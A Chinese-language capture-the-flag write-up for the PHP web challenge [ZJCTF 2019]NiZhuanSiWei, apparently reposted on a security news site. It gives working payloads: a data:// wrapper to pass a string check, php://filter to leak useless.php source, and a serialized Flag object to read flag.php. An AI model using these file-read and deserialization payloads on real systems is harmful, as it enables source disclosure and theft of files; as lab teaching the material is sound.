[ZJCTF2019]NiZhuanSiWei

admin 2026-08-04 06:34:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析了[ZJCTF2019]NiZhuanSiWeiCTFWeb题目的解题过程。通过分析PHP代码,利用data://伪协议绕过text参数检查,使用php://filter读取useless.php源码,发现Flag类中的__tostring方法存在文件读取漏洞。最终通过构造序列化payload将password参数赋值为Flag对象,设置file属性为flag.php,成功获取flag。 综合评分: 82 文章分类: CTF,WEB安全,漏洞分析,代码审计,渗透测试


cover_image

[ZJCTF 2019]NiZhuanSiWei

原创

devildollking devildollking

熔城Sec

2026年7月29日 09:00 辽宁

在小说阅读器读本章

去阅读

01

题目简介

  • 题目名称:[ZJCTF 2019]NiZhuanSiWei
  • 题目平台:CTF²
  • 题目类型:Web

02

解题步骤

启动并访问靶机

阅读代码,发现需要传入三个参数,分别是,text、file、password。根据下面的代码,我们需要将$text等于welcome to the zjctf

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

使用php伪协议构造传参payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

然后我们看到代码中,file的传参是需要读取useless.php,同样我们使用php伪协议读取即可

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64加密的文本

解密出来是一串代码

<?php
class&nbsp;Flag{ &nbsp;//flag.php &nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;$file; &nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;function __tostring(){ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(isset($this->file)){ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;file_get_contents($this->file);&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<br>";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;("U R SO CLOSE !///COME ON PLZ");&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; } &nbsp;} &nbsp;?>

这里发现调用了flag,这里把file的值赋值为flag.php,然后再在最开始的代码中,通过序列化传入password,所以我们将password进行序列化操作。

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后构造最后的paylod

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看网页源代码


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:熔城Sec devildollking devildollking《[ZJCTF 2019]NiZhuanSiWei》

    评论:0   参与:  0